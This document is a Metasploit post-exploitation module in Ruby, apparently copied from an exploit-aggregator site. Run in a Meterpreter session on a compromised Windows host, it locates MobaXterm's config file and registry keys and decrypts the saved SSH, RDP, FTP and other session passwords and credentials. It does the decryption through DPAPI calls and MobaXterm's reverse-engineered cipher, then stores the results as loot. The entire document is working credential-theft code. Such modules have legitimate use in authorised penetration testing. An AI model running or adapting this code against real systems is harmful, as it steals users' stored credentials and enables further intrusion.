Share
## https://sploitus.com/exploit?id=MSF:POST-WINDOWS-GATHER-CREDENTIALS-MOBA_XTERM-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
#
# @blurbdust based this code off of https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/gpp.rb
# and https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/enum_ms_product_keys.rb
##

class MetasploitModule < Msf::Post
  include Msf::Post::Windows::Registry
  include Msf::Post::Windows::UserProfiles

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Gather MobaXterm Passwords',
        'Description' => %q{
          This module will determine if MobaXterm is installed on the target system and, if it is, it will try to
          dump all saved session information from the target. The passwords for these saved sessions will then be decrypted
          where possible, using the decryption information that HyperSine reverse engineered.
        },
        'License' => MSF_LICENSE,
        'References' => [
          [ 'URL', 'https://blog.kali-team.cn/Metasploit-MobaXterm-0b976b993c87401598be4caab8cbe0cd' ]
        ],
        'Author' => ['Kali-Team <kali-team[at]qq.com>'],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Notes' => {
          'Stability' => [],
          'Reliability' => [],
          'SideEffects' => []
        },
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_railgun_api
              stdapi_railgun_api_multi
              stdapi_railgun_memread
              stdapi_railgun_memwrite
              stdapi_sys_process_get_processes
            ]
          }
        }
      )
    )
    register_options(
      [
        OptString.new('MASTER_PASSWORD', [ false, 'If you know the password, you can skip decrypting the master password. If not, it will be decrypted automatically']),
        OptString.new('CONFIG_PATH', [ false, 'Specifies the config file path for MobaXterm']),
      ]
    )
  end

  def windows_unprotect(entropy, data)
    begin
      pid = session.sys.process.getpid
      process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)

      # write entropy to memory
      emem = process.memory.allocate(128)
      process.memory.write(emem, entropy)
      # write encrypted data to memory
      mem = process.memory.allocate(128)
      process.memory.write(mem, data)

      #  enumerate all processes to find the one that we're are currently executing as,
      #  and then fetch the architecture attribute of that process by doing ["arch"]
      #  to check if it is an 32bits process or not.
      if session.sys.process.each_process.find { |i| i['pid'] == pid } ['arch'] == 'x86'
        addr = [mem].pack('V')
        len = [data.length].pack('V')

        eaddr = [emem].pack('V')
        elen = [entropy.length].pack('V')

        ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 0, 8)
        len, addr = ret['pDataOut'].unpack('V2')
      else
        # Convert using rex, basically doing: [mem & 0xffffffff, mem >> 32].pack("VV")
        addr = Rex::Text.pack_int64le(mem)
        len = Rex::Text.pack_int64le(data.length)

        eaddr = Rex::Text.pack_int64le(emem)
        elen = Rex::Text.pack_int64le(entropy.length)

        ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 0, 16)
        p_data = ret['pDataOut'].unpack('VVVV')
        len = p_data[0] + (p_data[1] << 32)
        addr = p_data[2] + (p_data[3] << 32)
      end
      return '' if len == 0

      return process.memory.read(addr, len)
    rescue Rex::Post::Meterpreter::RequestError => e
      vprint_error(e.message)
    end
    return ''
  end

  def key_crafter(config)
    if (!config['SessionP'].empty? && !config['SessionP'].nil?)
      s1 = config['SessionP']
      s1 += s1 while s1.length < 20
      key_space = [s1.upcase, s1.upcase, s1.downcase, s1.downcase]
      key = '0d5e9n1348/U2+67'.bytes
      for i in (0..key.length - 1)
        b = key_space[(i + 1) % key_space.length].bytes[i]
        if !key.include?(b) && '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz+/'.include?(b)
          key[i] = b
        end
      end
      return key
    end
  end

  def mobaxterm_decrypt(ciphertext, key)
    ct = ''.bytes
    ciphertext.each_byte do |c|
      ct << c if key.include?(c)
    end
    if ct.length.even?
      pt = ''.bytes
      (0..ct.length - 1).step(2) do |i|
        l = key.index(ct[i])
        key = key[0..-2].insert(0, key[-1])
        h = key.index(ct[i + 1])
        key = key[0..-2].insert(0, key[-1])
        next if (l == -1 || h == -1)

        pt << (16 * h + l)
      end
      pp pt.pack('c*')
    end
  end

  def mobaxterm_crypto_safe(ciphertext, config)
    return nil if ciphertext.nil? || ciphertext.empty?

    iv = ("\x00" * 16)
    master_password = datastore['MASTER_PASSWORD'] || ''
    sesspass = config['Sesspass']["#{config['Sesspass']['LastUsername']}@#{config['Sesspass']['LastComputername']}"]
    data_ini = Rex::Text.decode_base64('AQAAANCMnd8BFdERjHoAwE/Cl+s=') + Rex::Text.decode_base64(sesspass)
    key = Rex::Text.decode_base64(windows_unprotect(config['SessionP'], data_ini))[0, 32]
    # Use the set master password only when using the specified path
    if !master_password.empty? && datastore['CONFIG_PATH']
      key = OpenSSL::Digest::SHA512.new(master_password).digest[0, 32]
    end
    aes = OpenSSL::Cipher.new('AES-256-ECB').encrypt
    aes.key = key
    new_iv = aes.update(iv)
    # segment_size = 8
    new_aes = OpenSSL::Cipher.new('AES-256-CFB8').decrypt
    new_aes.key = key
    new_aes.iv = new_iv
    aes.padding = 0
    padded_plain_bytes = new_aes.update(Rex::Text.decode_base64(ciphertext))
    padded_plain_bytes << new_aes.final
    return padded_plain_bytes
  end

  def gather_password(config)
    result = []
    if config['PasswordsInRegistry'] == '1'
      parent_key = "#{config['RegistryKey']}\\P"
      return if !registry_key_exist?(parent_key)

      registry_enumvals(parent_key).each do |connect|
        username, server_host = connect.split('@')
        protocol, username = username.split(':') if username.include?(':')
        password = registry_getvaldata(parent_key, connect)
        key = key_crafter(config)
        plaintext = config['Sesspass'].nil? ? mobaxterm_decrypt(password, key) : mobaxterm_crypto_safe(password, config)
        result << {
          protocol: protocol,
          server_host: server_host,
          username: username,
          password: plaintext
        }
      end
    else
      config['Passwords'].each_key do |connect|
        username, server_host = connect.split('@')
        protocol, username = username.split(':') if username.include?(':')
        password = config['Passwords'][connect]
        key = key_crafter(config)
        plaintext = config['Sesspass'].nil? ? mobaxterm_decrypt(password, key) : mobaxterm_crypto_safe(password, config)
        result << {
          protocol: protocol,
          server_host: server_host,
          username: username,
          password: plaintext
        }
      end
    end
    result
  end

  def gather_creds(config)
    result = []
    if config['PasswordsInRegistry'] == '1'
      parent_key = "#{config['RegistryKey']}\\C"
      return if !registry_key_exist?(parent_key)

      registry_enumvals(parent_key).each do |name|
        username, password = registry_getvaldata(parent_key, name).split(':')
        key = key_crafter(config)
        plaintext = config['Sesspass'].nil? ? mobaxterm_decrypt(password, key) : mobaxterm_crypto_safe(password, config)
        result << {
          name: name,
          username: username,
          password: plaintext
        }
      end
    else
      config['Credentials'].each_key do |name|
        username, password = config['Credentials'][name].split(':')
        key = key_crafter(config)
        plaintext = config['Sesspass'].nil? ? mobaxterm_decrypt(password, key) : mobaxterm_crypto_safe(password, config)
        result << {
          name: name,
          username: username,
          password: plaintext
        }
      end
    end

    result
  end

  def parser_ini(ini_config_path)
    valuable_info = {}
    if session.fs.file.exist?(ini_config_path)
      file_contents = read_file(ini_config_path)
      if file_contents.nil? || file_contents.empty?
        print_warning('Configuration file content is empty')
        return
      else
        config = Rex::Parser::Ini.from_s(file_contents)
        valuable_info['PasswordsInRegistry'] = config['Misc']['PasswordsInRegistry'] || '0'
        valuable_info['SessionP'] = config['Misc']['SessionP'] || 0
        valuable_info['Sesspass'] = config['Sesspass'] || nil
        valuable_info['Passwords'] = config['Passwords'] || {}
        valuable_info['Credentials'] = config['Credentials'] || {}
        valuable_info['Bookmarks'] = config['Bookmarks'] || nil
        return valuable_info
      end
    else
      print_warning('Could not find the config path for the MobaXterm. Ensure that MobaXterm is installed on the target.')
      return false
    end
  end

  def parse_bookmarks(bookmarks)
    result = []
    protocol_hash = { '#109#0' => 'ssh', '#98#1' => 'telnet', '#128#5' => 'vnc', '#140#7' => 'sftp', '#130#6' => 'ftp', '#100#2' => 'rsh', '#91#4' => 'rdp' }
    bookmarks.each_key do |key|
      next if key.eql?('ImgNum') || key.eql?('SubRep') || bookmarks[key].empty?

      bookmarks_split = bookmarks[key].strip.split('%')
      if protocol_hash.include?(bookmarks_split[0])
        protocol = protocol_hash[bookmarks_split[0]]
        server_host = bookmarks_split[1]
        port = bookmarks_split[2]
        username = bookmarks_split[3]
        result << { name: key, protocol: protocol, server_host: server_host, port: port, username: username }
      else
        print_warning("Parsing is not supported: #{bookmarks[key].strip}")
      end
    end
    return result
  end

  def entry(config)
    pws_result = gather_password(config)
    creds_result = gather_creds(config)
    bookmarks_result = parse_bookmarks(config['Bookmarks'])
    return pws_result, creds_result, bookmarks_result
  end

  def run
    pw_tbl = Rex::Text::Table.new(
      'Header' => 'MobaXterm Password',
      'Columns' => [
        'Protocol',
        'Hostname',
        'Username',
        'Password',
      ]
    )
    bookmarks_tbl = Rex::Text::Table.new(
      'Header' => 'MobaXterm Bookmarks',
      'Columns' => [
        'BookmarksName',
        'Protocol',
        'ServerHost',
        'Port',
        'Credentials or Passwords',
      ]
    )
    creds_tbl = Rex::Text::Table.new(
      'Header' => 'MobaXterm Credentials',
      'Columns' => [
        'CredentialsName',
        'Username',
        'Password',
      ]
    )
    print_status("Gathering MobaXterm session information from #{sysinfo['Computer']}")
    ini_config_path = datastore['CONFIG_PATH'] || "#{registry_getvaldata("HKU\\#{session.sys.config.getsid}\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders", 'Personal')}\\MobaXterm\\MobaXterm.ini"
    print_status("Specifies the config file path for MobaXterm #{ini_config_path}")
    config = parser_ini(ini_config_path)
    unless config
      return
    end

    parent_key = "HKEY_USERS\\#{session.sys.config.getsid}\\Software\\Mobatek\\MobaXterm"
    config['RegistryKey'] = parent_key
    pws_result, creds_result, bookmarks_result = entry(config)
    pws_result.each do |item|
      pw_tbl << item.values
    end
    bookmarks_result.each do |item|
      bookmarks_tbl << item.values
    end
    creds_result.each do |item|
      creds_tbl << item.values
    end

    if pw_tbl.rows.count > 0
      path = store_loot('host.moba_xterm', 'text/plain', session, pw_tbl, 'moba_xterm.txt', 'MobaXterm Password')
      print_good("Passwords stored in: #{path}")
      print_good(pw_tbl.to_s)
    end
    if creds_tbl.rows.count > 0
      path = store_loot('host.moba_xterm', 'text/plain', session, creds_tbl, 'moba_xterm.txt', 'MobaXterm Credentials')
      print_good("Credentials stored in: #{path}")
      print_good(creds_tbl.to_s)
    end
    if bookmarks_tbl.rows.count > 0
      path = store_loot('host.moba_xterm', 'text/plain', session, bookmarks_tbl, 'moba_xterm.txt', 'MobaXterm Bookmarks')
      print_good("Bookmarks stored in: #{path}")
      print_good(bookmarks_tbl.to_s)
    end
    if pw_tbl.rows.count == 0 && creds_tbl.rows.count == 0 && bookmarks_tbl.rows.count == 0
      print_error("I can't find anything!")
    end
  end
end